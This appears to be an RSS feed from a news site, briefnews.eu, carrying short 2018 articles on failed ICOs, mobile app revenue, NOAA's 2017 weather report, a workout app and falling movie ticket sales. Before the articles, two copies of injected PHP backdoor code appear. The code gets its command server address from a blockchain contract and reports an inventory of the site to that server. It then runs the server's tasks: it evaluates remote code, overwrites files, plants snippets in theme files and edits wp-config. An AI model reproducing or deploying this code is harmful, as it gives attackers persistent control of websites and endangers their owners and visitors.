// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 2017’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 28 Feb 2019 17:06:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 2017’s – Brief News https://briefnews.eu 32 32 Nearly half of 2017’s cryptocurrencies have already failed https://briefnews.eu/nearly-half-of-2017s-cryptocurrencies-have-already-failed/ https://briefnews.eu/nearly-half-of-2017s-cryptocurrencies-have-already-failed/#respond Sun, 25 Feb 2018 02:02:03 +0000 http://briefnews.eu/nearly-half-of-2017s-cryptocurrencies-have-already-failed/

The surging price of bitcoin (among others) in 2017 led more than a few companies to hop on the cryptocurrency bandwagon with hopes of striking it rich almost overnight. Many of their initial coin offerings seemed dodgy from the outset… and it turns out they were. Bitcoin.com has conducted a study of ICOs tracked by Tokendata, and a whopping 46 percent of the 902 crowdsale-based virtual currencies have already failed. Of these, 142 never got enough funding; another 276 have either slowly faded away or were out and out scams.

The number of casualties might be higher in practice. Another 113 ICOs have either stopped talking on social networks (a good sign interest has died) or have so few adopters that success is very unlikely. And the survivors aren’t necessarily doing much better. Only a “handful” raised over $ 10 million, which left an uphill battle for the rest.

It doesn’t take much divination to understand why many of these virtual coins fell flat. Excluding the scams, a large chunk of them were targeted at niches like dentistry, freight trucking or real estate — they were never going to attract broad audiences. Others, meanwhile, were me-too efforts that had no real advantage over pouring money into an established format, where prices were more likely to climb.

ICOs are still popular options in 2018, but it doesn’t look like the new wave will fare much better. We’ve already seen Kodak and other companies start cryptocurrencies for little more than a momentary stock boost. Pair that with falling prices and many ICOs face daunting prospects.

Source: Bitcoin.com, Tokendata

]]> https://briefnews.eu/nearly-half-of-2017s-cryptocurrencies-have-already-failed/feed/ 0 Sensor Tower: Mixi, Tencent, and Netflix were 2017’s top grossers in mobile https://briefnews.eu/sensor-tower-mixi-tencent-and-netflix-were-2017s-top-grossers-in-mobile/ https://briefnews.eu/sensor-tower-mixi-tencent-and-netflix-were-2017s-top-grossers-in-mobile/#respond Sat, 13 Jan 2018 06:43:26 +0000 http://briefnews.eu/sensor-tower-mixi-tencent-and-netflix-were-2017s-top-grossers-in-mobile/

Mixi’s mobile game Monster Strike was the top grossing app in 2017, according to mobile data and insights company Sensor Tower. The caveat, though, is that Google Play isn’t available in China — the stomping grounds of tech giant Tencent, which recently released its hit title Honor of Kings with the name Arena of Valor in the West. In outside gaming, Netflix’s app was the highest earner, dethroning Spotify, which sat at No. 1 in 2016.

The mobile market generated $ 58.6 billion last year, thanks mostly to games. The category accounted for $ 48.3 billion of spending, and many of the top titles maintained their dominance from earlier years. Games like King’s Candy Crush Saga and Supercell’s Clash of Clans debuted in 2012, but they still landed spots at No. 5 and No. 9 respectively in the top grossing chart.

Niantic’s viral sensation Pokémon Go was missing from the top charts last year, but the company is still rolling out new content to keep its dedicated fanbase happy. The AR creature capturing game was the most downloaded mobile title in 2016, but Kiloo’s Subway Surfers earned the No. 1 spot as the most installed game in 2017.

Unsurprisingly, Tencent was the top grossing mobile publisher in the world last year. In second place was NetEase, another Chinese juggernaut which has jostled for the No. 1 spot in previous years.

“NetEase, Supercell, King, and Mixi rounded out the top five grossing publishers overall,” wrote Sensor Tower’s head of mobile insights Randy Nelson. “Meanwhile, the second to fifth spots in terms of non-game revenue were occupied by IAC (Tinder), Netflix, Naver (LINE), and Google, respectively.”

Tencent also racked up the most mobile game downloads overall, though Facebook had the most non-game and overall downloads.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

]]> https://briefnews.eu/sensor-tower-mixi-tencent-and-netflix-were-2017s-top-grossers-in-mobile/feed/ 0 NOAA recaps 2017’s near-biblical collection of weather extremes https://briefnews.eu/noaa-recaps-2017s-near-biblical-collection-of-weather-extremes/ https://briefnews.eu/noaa-recaps-2017s-near-biblical-collection-of-weather-extremes/#respond Wed, 10 Jan 2018 03:53:06 +0000 http://briefnews.eu/noaa-recaps-2017s-near-biblical-collection-of-weather-extremes/

Enlarge / Members of the Texas Army National Guard moved through flooded Houston streets as floodwaters from Hurricane Harvey continued to rise on August 28, 2017. More than 12,000 members of the Texas National Guard were called out to support local authorities in response to the storm. (credit: Zachary Wes)

The figures for 2017’s global temperatures aren’t out yet, but data from earlier months indicate it will involve a small drop after two years of record-setting heat. NOAA, however, has run the numbers on 2017’s impact on the US, finding it to be the third warmest on record and associated with lots of extreme weather events. Amazingly, NOAA’s brief report on 2017’s climate managed to mention all of this without once mentioning climate change.

A changing climate, however, is implicit in the very first paragraph. 2017, it notes, is the 21st consecutive year with above-average temperatures in the US. It ranks third on the all-time heat list, coming in at 1.45 degrees Celsius (2.6 degrees Fahrenheit) above the 20th century average. The US’ five warmest years on record, NOAA notes, have all occurred after 2006. It was also the third consecutive year in a row that every single state experienced above-average temperatures. For five states, 2017 was the warmest year on record. All of which indicates a major trend in the US’ temperatures.

Although the temperatures didn’t set a new record, the cost of weather events in 2017 did. The US saw 16 weather and climate disasters that each cost more than $ 1 billion, with total costs rising above $ 300 billion. That’s nearly $ 100 billion more than the next closest year (2005), which featured Hurricanes Katrina, Wilma, and Rita. Last year’s trifecta featured Hurricanes Harvey, Maria, and Irma at total costs of $ 125 billion, $ 90 billion, and $ 50 billion, respectively. All three placed in the top five costliest disasters of all time in the US. These disasters also killed 362 people directly.

Read 4 remaining paragraphs | Comments

]]> https://briefnews.eu/noaa-recaps-2017s-near-biblical-collection-of-weather-extremes/feed/ 0 I tried the science-backed 7-minute routine that was one of 2017’s hottest workouts, and it actually works https://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/ https://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/#respond Tue, 09 Jan 2018 15:11:42 +0000 http://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/ crunches sideBusiness Insider/Erin Brodwin

When I first heard about an app that promises the benefits of a sweaty bike ride or trip to the gym in seven minutes, I assumed it was all hype.

It isn’t.

Designed by exercise physiologist Chris Jordan, the Johnson & Johnson Official 7 Minute Workout gets your heart pumping and helps build muscle.

The app is a great introduction to a trendy type of fitness routine called interval training, and it’s ideal for weekends or days when I can’t make it to my regular yoga class.

Here’s what it’s like.

The entire workout really takes just seven minutes. I was initially skeptical about whether I could accomplish this much in such a narrow time frame.

Johnson & Johnson Human Performance Institute

The program consists of 72 exercises like jumping jacks, sit-ups, and push-ups. Ten require nothing but your body, and for others, you just need a chair that can support your weight. The latest version of the app lets you do each exercise along with Jordan.

Johnson & Johnson Human Performance Institute

To do my workout, I set up a yoga mat on the hardwood floor of my office and used a stool.

Business Insider/Erin Brodwin


See the rest of the story at Business Insider

]]> https://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/feed/ 0 2017’s Movie Ticket Sales Were the Lowest in 25 Years https://briefnews.eu/2017s-movie-ticket-sales-were-the-lowest-in-25-years/ https://briefnews.eu/2017s-movie-ticket-sales-were-the-lowest-in-25-years/#respond Thu, 04 Jan 2018 07:23:33 +0000 http://briefnews.eu/2017s-movie-ticket-sales-were-the-lowest-in-25-years/ Movie Ticket Sales

We’re still basking in the rejuvenating cleanse of the new year and looking forward to the future, but folks who work for major movie theater chains have to contend with a statistic today that’s so sobering that it may shock that refreshing new year feeling right out of them. According to Box Office Mojo, movie ticket sales in 2017 were the lowest they’ve been since 1992. That means theaters sold fewer tickets last year than in the past 25 years – clearly a troubling trend for exhibitors. Will the films of 2018 continue that trend, or provide a much-needed uptick in sales?

The site reports that 1.239 billion movie tickets were sold between January 1, 2017 and December 31, 2017, which is down from the 1.315 billion that were sold in 2016. The average number of tickets sold over the past 25 years is 1.422 billion, but it’s not particularly surprising that the sheer number of ticket sales has decreased since the early ’90s. There are far more entertainment options out there for consumers to choose from now than there were back then. (Just to give you a sense of how long ago we’re talking about here, Aladdin was the biggest movie of the year in 1992.)

So how can theater chains combat this trend? Well, for starters they could stop putting off the inevitable and actually devote significant resources to coming up with ways to improve the theatrical experience for everyone. Whether that means hiring more staff to curb cell phone usage and excessive talking during movie screenings, revamping their rewards programs to give movie fans better incentive to come out to the theater, or thinking outside the box and innovating new ways to draw in a larger audience, theater owners should be willing to do whatever they can to get butts in seats right now to counteract this declining ticket sales trend.

